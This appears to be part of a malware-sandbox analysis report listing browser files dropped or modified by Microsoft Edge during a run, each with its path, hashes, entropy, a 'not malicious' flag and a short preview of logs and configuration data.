Preview:	...m.................DB_VERSION.1>u.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376356598394751..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]...`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.201548070153265
Encrypted:	false
SSDEEP:	6:HUeTfSlAG81cNwi23oH+Tcwtk2WwnvB2KLlVUeTfSgnjL+q2PcNwi23oH+Tcwtk8:1TkAGGZYebkxwnvFLtT9OvLZYebkxwnp
MD5:	E41943BF1DB8DCEBA73EC55D7DA6E0EE
SHA1:	39A5DACBAD7C9D194C2A6BC2E76BBBF9984FBA5B
SHA-256:	DF670EF53BE1341BA592617711552EF92FAE931A24DD7D3D56DD8840404C3B29
SHA-512:	74D6EDC3AD283F1D9A37BB1BB0254716E200922154966855E64D50B80EA2405A9C847A302202C80CAA7DAFAD984F41796E9E3016CEA96581D12FA25A795D6761
Malicious:	false
Preview:	2024/11/17-17:36:36.734 13e8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/17-17:36:36.765 13e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606146546089
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RW:C1gAg1zfvO
MD5:	1F620039458E8DA4669416F817406153
SHA1:	3042DE708B3E9A43483664C47CCA97F67586C583
SHA-256:	90DFBB120B03991DDD4A09F9D7D7771C92EB3F1D81FE174DD252DF613DD8BF18
SHA-512:	0937CDCEBFE8DEE4D643A4F7354DD9832AD9ABA379B808BAA3CB260FBDCA42D459D1FC755D7ABAAD2B2335CA703ADB18F55B2BE6E0A8B078A62B76AACAC500B8
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.220651390125709
Encrypted:	false
SSDEEP:	6:HUeTf4VDEL+q2PcNwi23oH+Tcwt8aPrqIFUt8YUeTf4VFVz1Zmw+YUeTf4VLFLV3:1TwPvLZYebL3FUt8ATw11/+ATwZ54ZYD
MD5:	524DEF87280018AAC01BCE789B417B97
SHA1:	AD034C6AF0189F53A0AF921D59A46AF5C0B785F8
SHA-256:	696CB291A871EF1E3E98BE9A0E289D5922576A85CAB307D634F116139B47D13C
SHA-512:	C1F0134A6A68349226203BF7704DEDAC552D0A0334C521279543BA1CA1E1431A43C5C38C24FA20D9235037F050065674E2F25B8A2A96978D2E5085264F685ECB
Malicious:	false
Preview:	2024/11/17-17:36:30.039 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-17:36:30.047 1e58 Recovering log #3.2024/11/17-17:36:30.054 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.220651390125709
Encrypted:	false
SSDEEP:	6:HUeTf4VDEL+q2PcNwi23oH+Tcwt8aPrqIFUt8YUeTf4VFVz1Zmw+YUeTf4VLFLV3:1TwPvLZYebL3FUt8ATw11/+ATwZ54ZYD
MD5:	524DEF87280018AAC01BCE789B417B97
SHA1:	AD034C6AF0189F53A0AF921D59A46AF5C0B785F8
SHA-256:	696CB291A871EF1E3E98BE9A0E289D5922576A85CAB307D634F116139B47D13C
SHA-512:	C1F0134A6A68349226203BF7704DEDAC552D0A0334C521279543BA1CA1E1431A43C5C38C24FA20D9235037F050065674E2F25B8A2A96978D2E5085264F685ECB
Malicious:	false
Preview:	2024/11/17-17:36:30.039 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-17:36:30.047 1e58 Recovering log #3.2024/11/17-17:36:30.054 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.21257284932371
Encrypted:	false
SSDEEP:	6:HUeTf4VoZEL+q2PcNwi23oH+Tcwt865IFUt8YUeTf4V0z1Zmw+YUeTf4V0lLVkwG:1Tw6vLZYeb/WFUt8ATwyz1/+ATwyz54p
MD5:	985949A81732F7EE3721122A371CDB35
SHA1:	C078A01DD4DF178EB567417D295A7F265E2D3468
SHA-256:	DF9160BAC9B115A437AC759A71718E48F127E1C2A555FA1F3AC6F9497E43009C
SHA-512:	5683809724965F9D500E3179DABB5C57A90B121AB7D3984B2BD6096DDC6522D0E2C2747498D1EB02AAE5BA9CF217346229BF426C1732C5144E2E2E896139983D
Malicious:	false
Preview:	2024/11/17-17:36:30.061 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-17:36:30.062 1e58 Recovering log #3.2024/11/17-17:36:30.062 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.21257284932371
Encrypted:	false
SSDEEP:	6:HUeTf4VoZEL+q2PcNwi23oH+Tcwt865IFUt8YUeTf4V0z1Zmw+YUeTf4V0lLVkwG:1Tw6vLZYeb/WFUt8ATwyz1/+ATwyz54p
MD5:	985949A81732F7EE3721122A371CDB35
SHA1:	C078A01DD4DF178EB567417D295A7F265E2D3468
SHA-256:	DF9160BAC9B115A437AC759A71718E48F127E1C2A555FA1F3AC6F9497E43009C
SHA-512:	5683809724965F9D500E3179DABB5C57A90B121AB7D3984B2BD6096DDC6522D0E2C2747498D1EB02AAE5BA9CF217346229BF426C1732C5144E2E2E896139983D
Malicious:	false
Preview:	2024/11/17-17:36:30.061 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-17:36:30.062 1e58 Recovering log #3.2024/11/17-17:36:30.062 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.190629072807612
Encrypted:	false
SSDEEP:	6:HUeTfe0DQ+q2PcNwi23oH+Tcwt8NIFUt8YUeTfezDgZmw+YUeTfeCQVkwOcNwi2O:1TBc+vLZYebpFUt8ATJ/+AT2V54ZYeb2
MD5:	5979F239EF798FC356A2CB77BBBFD919
SHA1:	E69DB19DF3052378C9BF03D7D5BB685BAA9AA05A
SHA-256:	7567A0E2003473DD8FF2AD1C0F7DADDB1C8A5ED843F283163BCBB8760E8AC1E9
SHA-512:	D55CBD9D48252227F4C4632FF96BCB422D9114DB7E85310A5012BCDDFBF06DBA0553E150534A74DC0BA6C456B676B6720BDF590B3301376DC27626A725FF203E
Malicious:	false
Preview:	2024/11/17-17:36:32.162 13dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-17:36:32.178 13dc Recovering log #3.2024/11/17-17:36:32.179 13dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.190629072807612
Encrypted:	false
SSDEEP:	6:HUeTfe0DQ+q2PcNwi23oH+Tcwt8NIFUt8YUeTfezDgZmw+YUeTfeCQVkwOcNwi2O:1TBc+vLZYebpFUt8ATJ/+AT2V54ZYeb2
MD5:	5979F239EF798FC356A2CB77BBBFD919
SHA1:	E69DB19DF3052378C9BF03D7D5BB685BAA9AA05A
SHA-256:	7567A0E2003473DD8FF2AD1C0F7DADDB1C8A5ED843F283163BCBB8760E8AC1E9
SHA-512:	D55CBD9D48252227F4C4632FF96BCB422D9114DB7E85310A5012BCDDFBF06DBA0553E150534A74DC0BA6C456B676B6720BDF590B3301376DC27626A725FF203E
Malicious:	false
Preview:	2024/11/17-17:36:32.162 13dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-17:36:32.178 13dc Recovering log #3.2024/11/17-17:36:32.179 13dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21838546206064954
Encrypted:	false
SSDEEP:	3:etFlljq7A/mhWJFuQ3yy7IOWUcTlludweytllrE9SFcTp4AGbNCV9RUIB:175fO8lud0Xi99pEYv
MD5:	5EE82AA032AA89D226FAEC8A8BE7D82B
SHA1:	2D0EBC6481DA47E7D3EA04C76579AA0AB5B2D06C
SHA-256:	DDED13484E5EAF615D67DD4C8B8854127B41C6451DC0F2DF5306BB1BD057893B
SHA-512:	610E97D712421643AA900BD8EC339599D5141A54303C7F3714709CDC5BBA80B97B4E6F7FC3A7688451794916C2F967CD2F72AEFFB193A911BB9B7AFAFBD2B03D
Malicious:	false
Preview:	..............v...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.317307837699696
Encrypted:	false
SSDEEP:	12:1TRa+vLZYeb8rcHEZrELFUt8ATR//+ATR/V54ZYeb8rcHEZrEZSJ:rblYeb8nZrExg8OD/oYeb8nZrEZe
MD5:	703B42FB4E35C96508A9F95FC749A02D
SHA1:	96A789D0DD1DD0F362491ECA7B9FCB63AB6DF43A
SHA-256:	33B3CB9154C73EB65899F441503498F4584DA26496BA2F102413DC2DB668B594
SHA-512:	CB23BF35C36FF37443E7F999D51694B53E13332AFBB77A57349D0AFF3DE2AF5635AAE234C13788DABA14F0A0F12D4C0C97D03C98FEAA54F220E9DC0D732705CB
Malicious:	false
Preview:	2024/11/17-17:36:35.893 13dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-17:36:35.894 13dc Recovering log #3.2024/11/17-17:36:35.894 13dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.317307837699696
Encrypted:	false
SSDEEP:	12:1TRa+vLZYeb8rcHEZrELFUt8ATR//+ATR/V54ZYeb8rcHEZrEZSJ:rblYeb8nZrExg8OD/oYeb8nZrEZe
MD5:	703B42FB4E35C96508A9F95FC749A02D
SHA1:	96A789D0DD1DD0F362491ECA7B9FCB63AB6DF43A
SHA-256:	33B3CB9154C73EB65899F441503498F4584DA26496BA2F102413DC2DB668B594
SHA-512:	CB23BF35C36FF37443E7F999D51694B53E13332AFBB77A57349D0AFF3DE2AF5635AAE234C13788DABA14F0A0F12D4C0C97D03C98FEAA54F220E9DC0D732705CB
Malicious:	false
Preview:	2024/11/17-17:36:35.893 13dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-17:36:35.894 13dc Recovering log #3.2024/11/17-17:36:35.894 13dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	5.65683635098047
Encrypted:	false
SSDEEP:	24:5ZWEpUlHqA7lsRXVT/U2XZMWKiV03y1x4o5MyLqWHnHfhNKgFHHmQ5da2LoEJX:5ZDpVUsRXVlXZbpV03Sx4oSyLqkHHHxZ
MD5:	74B402DF4A9CA16FDBB8315D4BAB13FC
SHA1:	42EDB5799E1CFDA69F366A25832BA64166D1B881
SHA-256:	D7F22F6D234FE9DFEBEA96726FF832775E7C2ED5635630D2A3FBD3F00FC9F0DE
SHA-512:	FFFE655D6B7BFA1ECB063A7BF680FF8B9F47734509CF747ED2AFE7ED8D22CB5ED2A2206D098BF37412D2AB3129157B3D2A20A6268CF8BB36540C482C569C3DD3
Malicious:	false
Preview:	.].8x................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":744}.!_https://ntp.msn.com..LastKnownPV..1731883003833.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731883005515.._https://ntp.msn.com..MUID!.3ECA3735FCB561D93BD4220FFDE260F3.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731883003900,"schedule":[4,38,-1,-1,9,-1,-1],"scheduleFixed":[4,38,-1,-1,9,-1,-1],"simpleSchedule":[49,41,12,29,17,36,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731883003789.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182640300665235
Encrypted:	false
SSDEEP:	6:HUeTf4XBLKqM+q2PcNwi23oH+Tcwt8a2jMGIFUt8YUeTf4XDmZmw+YUeTf4XFpMB:1TwXBLlM+vLZYeb8EFUt8ATwXC/+ATwk
MD5:	C717992604DD493B0A5846C44B565708
SHA1:	FE015701993BDDFDF01D72B8E2E2F1F3262ADE32
SHA-256:	42038B8AF04E06533EC3E71B638043FF0B19FEAD3510E13197DE8D46CCA1DFE2
SHA-512:	F54FAB24CA148DB47B28389172913D0C18B24A9E6020042C266C2B5C8D7F8046D3016C85DFD60D1D9CB9049EAE5195F2A83F4D05844430D0C76AFB7AD3B4ABC1
Malicious:	false
Preview:	2024/11/17-17:36:30.251 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-17:36:30.253 1a6c Recovering log #3.2024/11/17-17:36:30.255 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182640300665235
Encrypted:	false
SSDEEP:	6:HUeTf4XBLKqM+q2PcNwi23oH+Tcwt8a2jMGIFUt8YUeTf4XDmZmw+YUeTf4XFpMB:1TwXBLlM+vLZYeb8EFUt8ATwXC/+ATwk
MD5:	C717992604DD493B0A5846C44B565708
